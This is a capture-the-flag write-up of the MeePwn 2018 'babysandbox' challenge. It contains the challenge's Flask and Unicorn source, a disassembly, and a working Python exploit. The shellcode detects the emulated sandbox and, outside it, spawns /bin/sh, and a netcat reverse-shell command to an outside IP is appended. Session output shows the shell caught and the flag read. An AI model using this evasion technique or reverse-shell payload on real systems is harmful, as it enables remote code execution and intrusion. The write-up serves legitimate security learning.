The Meepwn CTF Quals 2018 (ctftime.org) ran from 13/07/2018, 19:00 UTC to 15/07/2018 19:00 UTC.
There were a lot of interesting-looking challenges. As always, time was the limiting factor 😉 I managed to spend 2 hours on saturday morning solving the pwn challenge babysandbox.
babysandbox (100 pts)
Challenge description
Do you know Unicorn engine? Let’s bypass my baby sandbox
http://178.128.100.75/
The website:

Source code
When choosing Get Source the source code of the baby sandbox can be viewed:
from __future__ import print_function
from flask import Flask, Response, render_template, session, request, jsonify, send_file
import os
from subprocess import run, STDOUT, PIPE, CalledProcessError
from base64 import b64decode, b64encode
from unicorn import *
from unicorn.x86_const import *
import codecs
import time
app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()
ADDRESS = 0x1000000
sys_fork = 2
sys_read = 3
sys_write = 4
sys_open = 5
sys_close = 6
sys_execve = 11
sys_access = 33
sys_dup = 41
sys_dup2 = 63
sys_mmap = 90
sys_munmap = 91
sys_mprotect = 125
sys_sendfile = 187
sys_sendfile64 = 239
BADSYSCALL = [sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64]
# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
if intno != 0x80:
uc.emu_stop()
return
eax = uc.reg_read(UC_X86_REG_EAX)
if eax in BADSYSCALL:
session['ISBADSYSCALL'] = True
uc.emu_stop()
def test_i386(mode, code):
try:
# Initialize emulator
mu = Uc(UC_ARCH_X86, mode)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, code)
# initialize stack
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)
# handle interrupt ourself
mu.hook_add(UC_HOOK_INTR, hook_intr)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(code))
except UcError as e:
print("ERROR: %s" % e)
@app.route('/')
def main():
if session.get('ISBADSYSCALL') == None:
session['ISBADSYSCALL'] = False
return render_template('index.html', name="BABY")
@app.route('/source', methods=['GET'])
def resouce():
return send_file("app.py")
@app.route('/bin', methods=['GET'])
def bin():
return send_file("/home/babysandbox/babysandbox")
@app.route('/exploit', methods=['POST'])
def exploit():
try:
data = request.get_json(force=True)
except Exception:
return jsonify({'result': 'Wrong data!'})
try:
payload = b64decode(data['payload'].encode())
except:
return jsonify({'result': 'Wrong data!'})
test_i386(UC_MODE_32, payload)
if session['ISBADSYSCALL']:
return jsonify({'result': 'Bad Syscall!'})
try:
run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)
except CalledProcessError:
return jsonify({'result': 'Error run file!'})
return jsonify({'result': "DONE!"})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
So there is a flask web framework running on the server.
The /exploit endpoint accepts a payload, which is passed to the function test_i386 before being passed to the actual binary running on port 9999.
The function test_i386 uses unicorn to set up a basic environment to run the provided payload.
A hook is installed, which is called on every interrupt:
# handle interrupt ourself mu.hook_add(UC_HOOK_INTR, hook_intr)
Within the hook-handler, bad system calls are filtered out:
# callback for tracing Linux interrupt def hook_intr(uc, intno, user_data): if intno != 0x80: uc.emu_stop() return eax = uc.reg_read(UC_X86_REG_EAX) if eax in BADSYSCALL: session['ISBADSYSCALL'] = True uc.emu_stop()
When the payload contains bad system call, the session variable session['ISBADSYSCALL'] is set to True.
When session['ISBADSYSCALL'] is True, the payload is not passed to the actual binary:
if session['ISBADSYSCALL']:
return jsonify({'result': 'Bad Syscall!'})
try:
run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)
Before we attempt to bypass the sandbox, let’s have a quick look at the binary, which can be retrieved by choosing Get Binary:
root@kali:~# r2 -A bin
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x000005d0]> afl
0x00000000 3 72 -> 73 sym.imp.__cxa_finalize
0x00000538 3 35 sym._init
0x00000570 2 16 -> 32 sym.imp.mprotect
0x00000580 2 16 -> 48 sym.imp.read
0x00000590 2 16 -> 48 sym.imp.mmap
0x000005a0 2 16 -> 48 sym.imp.__libc_start_main
0x000005b0 2 16 -> 48 sym.imp.close
0x000005c0 1 8 fcn.000005c0
0x000005c8 1 8 fcn.000005c8
0x000005d0 1 49 entry0
0x00000602 1 4 fcn.00000602
0x00000610 1 4 sym.__x86.get_pc_thunk.bx
0x00000620 4 55 sym.deregister_tm_clones
0x00000660 4 71 sym.register_tm_clones
0x000006b0 5 71 sym.__do_global_dtors_aux
0x00000700 4 60 -> 56 entry1.init
0x0000073c 1 4 sym.__x86.get_pc_thunk.dx
0x00000740 1 157 sym.main
0x000007e0 4 93 sym.__libc_csu_init
0x00000840 1 2 sym.__libc_csu_fini
0x00000844 1 20 sym._fini
[0x000005d0]> pdf @ sym.main
;-- main:
/ (fcn) sym.main 157
| sym.main ();
| ; var int local_ch @ ebp-0xc
| ; var int local_4h_2 @ ebp-0x4
| ; var int local_4h @ esp+0x4
| ; XREFS: CALL 0x00000763 CALL 0x0000077b CALL 0x00000790 CALL 0x000007a1 CALL 0x000007b2
| ; XREFS: CALL 0x000007c3
| 0x00000740 8d4c2404 lea ecx, dword [local_4h]
| 0x00000744 83e4f0 and esp, 0xfffffff0
| 0x00000747 ff71fc push dword [ecx - 4]
| 0x0000074a 55 push ebp
| 0x0000074b 89e5 mov ebp, esp
| 0x0000074d 51 push ecx
| 0x0000074e 83ec14 sub esp, 0x14
| 0x00000751 83ec08 sub esp, 8
| 0x00000754 6a00 push 0
| 0x00000756 6aff push -1
| 0x00000758 6a22 push 0x22 ; '"'
| 0x0000075a 6a07 push 7
| 0x0000075c 6800010000 push 0x100 ; "`\b"
| 0x00000761 6a00 push 0
(reloc.mmap_100)
| 0x00000763 e8fcffffff call reloc.mmap_100 ; RELOC 32 mmap
| 0x00000768 83c420 add esp, 0x20
| 0x0000076b 8945f4 mov dword [local_ch], eax
| 0x0000076e 83ec04 sub esp, 4
| 0x00000771 6800010000 push 0x100 ; "`\b"
| 0x00000776 ff75f4 push dword [local_ch]
| 0x00000779 6a00 push 0
(reloc.read_124)
| 0x0000077b e8fcffffff call reloc.read_124 ; RELOC 32 read
| 0x00000780 83c410 add esp, 0x10
| 0x00000783 83ec04 sub esp, 4
| 0x00000786 6a05 push 5
| 0x00000788 6800010000 push 0x100 ; "`\b"
| 0x0000078d ff75f4 push dword [local_ch]
(reloc.mprotect_145)
| 0x00000790 e8fcffffff call reloc.mprotect_145 ; RELOC 32 mprotect
| 0x00000795 83c410 add esp, 0x10
| 0x00000798 a100000000 mov eax, dword [0] ; RELOC 32
| 0x0000079d 83ec0c sub esp, 0xc
| 0x000007a0 50 push eax
(reloc.close_162)
| 0x000007a1 e8fcffffff call reloc.close_162 ; RELOC 32 close
| 0x000007a6 83c410 add esp, 0x10
| 0x000007a9 a100000000 mov eax, dword [0] ; RELOC 32
| 0x000007ae 83ec0c sub esp, 0xc
| 0x000007b1 50 push eax
(reloc.close_179)
| 0x000007b2 e8fcffffff call reloc.close_179 ; RELOC 32 close
| 0x000007b7 83c410 add esp, 0x10
| 0x000007ba a100000000 mov eax, dword [0] ; RELOC 32
| 0x000007bf 83ec0c sub esp, 0xc
| 0x000007c2 50 push eax
(reloc.close_196)
| 0x000007c3 e8fcffffff call reloc.close_196 ; RELOC 32 close
| 0x000007c8 83c410 add esp, 0x10
| 0x000007cb 8b45f4 mov eax, dword [local_ch]
| 0x000007ce ffd0 call eax
| 0x000007d0 b800000000 mov eax, 0
| 0x000007d5 8b4dfc mov ecx, dword [local_4h_2]
| 0x000007d8 c9 leave
| 0x000007d9 8d61fc lea esp, dword [ecx - 4]
\ 0x000007dc c3 ret
There is nothing really special. A new memory region is allocated using mmap. Then the payload is stored in this memory using read and finally the payload is executed (call eax).
Solution
Which are the problems we have to face?
–> The binary itself accepts an arbitrary payload. The only think we have to bypass is the unicorn sandbox, which filters out bad systemcalls.
–> If we for example execute '/bin/sh' we cannot directly interact with the shell, because run spawns a new process whose stdin/stdout is not bound to our socket.
How do we solve this problems?
–> The difference between the unicorn sandbox and the actual binary is that the sandbox runs the payload in a clean environment. The binary is in a specific state before the payload is executed by calling eax.
–> This call eax instruction places the return address on the stack. This means that the top-value on the stack is != 0. That is not the case in the clean environment in the sandbox.
–> This means that we can determine if we are in the sandbox, by comparing the top-value on the stack with 0.
–> If the value is 0, we are in the sandbox and just quit (system call exit).
–> If the value is not 0, we are in the binary and run our actual payload (system call execve('/bin/sh')).
–> Because we cannot directly interact with the shell on stdin/stdout, we add a command to the payload, which is executed as a shell-command.
I ended up with the following python-script:
root@kali:~# cat expl.py
#!/usr/bin/env python
from pwn import *
import requests
url = 'http://178.128.100.75'
shellcode = asm(
'mov eax, [esp]\n'
'test eax, eax\n'
'jz _exit\n' # if (sandbox) goto exit
'xor eax, eax\n'
'push eax\n'
'push 0x68732f2f\n'
'push 0x6e69622f\n'
'mov ebx, esp\n'
'mov ecx, eax\n'
'mov edx, eax\n'
'mov al, 0xb\n'
'int 0x80\n' # sys_execve('/bin/sh')
'_exit:\n'
'mov ebx, 0\n'
'mov eax, 0x1\n'
'int 0x80' # sys_exit(0)
)
cmd = 'nc -vn 12.34.56.78 31337 -e /bin/sh&'
shellcode += (0x100-len(shellcode)) * '\x90'
shellcode += cmd + '\n'
s = requests.Session()
s.get(url)
log.info('got session-id: '+s.cookies.get('session'))
r = s.post(url+'/exploit', data='{"payload":"'+shellcode.encode('base64').replace('\n','')+'"}')
log.success('executed cmd \''+cmd+'\'')
The shellcode itself is straightforward: check if the top-value on the stack is 0. If it is not, call sys_execve('/bin/sh') (we are in the actual binary).
I padded the shellcode to 0x100 bytes so that the call to read takes all those 0x100 bytes and the additional bytes (cmd) are interpreted as a shell-command.
I tried different shell-commands noticing that it did not seem to be possible to open a bind-shell. So I used a reverse shell, which is executed as a background job (&), because the run functions times out after 2 seconds, terminating the process if it is not executed as a background job.
Also notice that we first have to retrieve a valid session-id by visiting the main-page in order to assign a value to session['ISBADSYSCALL']:
@app.route('/')
def main():
if session.get('ISBADSYSCALL') == None:
session['ISBADSYSCALL'] = False
Otherwise the following line within the /exploit endpoint will raise an unknown key error:
if session['ISBADSYSCALL']:
Flag
Running the scripts executed the command nc -vn 12.34.56.78 31337 -e /bin/sh& on the server:
root@kali:~# ./expl.py [*] got session-id: eyJJU0JBRFNZU0NBTEwiOmZhbHNlfQ.DitsXA.NTCr2numdPTm-hvq5VMkhEJMeoY [+] executed cmd 'nc -vn 12.34.56.78 31337 -e /bin/sh&'
In another terminal a netcat-listener receives the reverse shell:
root@kali:~# nc -lvp 31337
listening on [any] 31337 ...
178.128.100.75: inverse host lookup failed: Unknown host
connect to [192.168.1.30] from (UNKNOWN) [178.128.100.75] 50300
id
uid=1000(babysandbox) gid=1000(babysandbox) groups=1000(babysandbox)
ls -al
total 92
drwxr-xr-x 1 root root 4096 Jul 13 17:47 .
drwxr-xr-x 1 root root 4096 Jul 13 17:47 ..
-rwxr-xr-x 1 root root 0 Jul 9 03:51 .dockerenv
drwxr-xr-x 1 root root 4096 Jul 13 17:46 app
drwxr-xr-x 1 root root 4096 Jul 13 14:48 bin
drwxr-xr-x 2 root root 4096 Apr 24 08:34 boot
drwxr-xr-x 5 root root 340 Jul 14 04:13 dev
drwxr-xr-x 1 root root 4096 Jul 13 14:48 etc
-rw-r--r-- 1 root root 53 Jul 13 17:47 flag
drwxr-xr-x 1 root root 4096 Jul 9 03:51 home
-rwxrwxrwx 1 root root 54 Jul 9 02:56 init.sh
drwxr-xr-x 1 root root 4096 Jul 9 02:53 lib
drwxr-xr-x 2 root root 4096 Jul 9 02:53 lib32
drwxr-xr-x 2 root root 4096 May 26 00:44 lib64
drwxr-xr-x 2 root root 4096 Jul 9 02:53 libx32
drwxr-xr-x 2 root root 4096 May 26 00:44 media
drwxr-xr-x 2 root root 4096 May 26 00:44 mnt
drwxr-xr-x 2 root root 4096 May 26 00:44 opt
dr-xr-xr-x 118 root root 0 Jul 14 04:13 proc
drwx------ 1 root root 4096 Jul 13 14:49 root
drwxrwxr-- 1 root root 4096 Jul 14 04:13 run
drwxr-xr-x 1 root root 4096 Jun 5 21:20 sbin
drwxr-xr-x 2 root root 4096 May 26 00:44 srv
dr-xr-xr-x 13 root root 0 Jul 9 02:56 sys
drwx-wx-wt 1 root root 4096 Jul 14 07:36 tmp
drwxr-xr-x 1 root root 4096 Jul 9 02:53 usr
drwxr-xr-x 1 root root 4096 May 26 00:45 var
cat flag
MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect}
exit
Done! The flag is MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect} 🙂
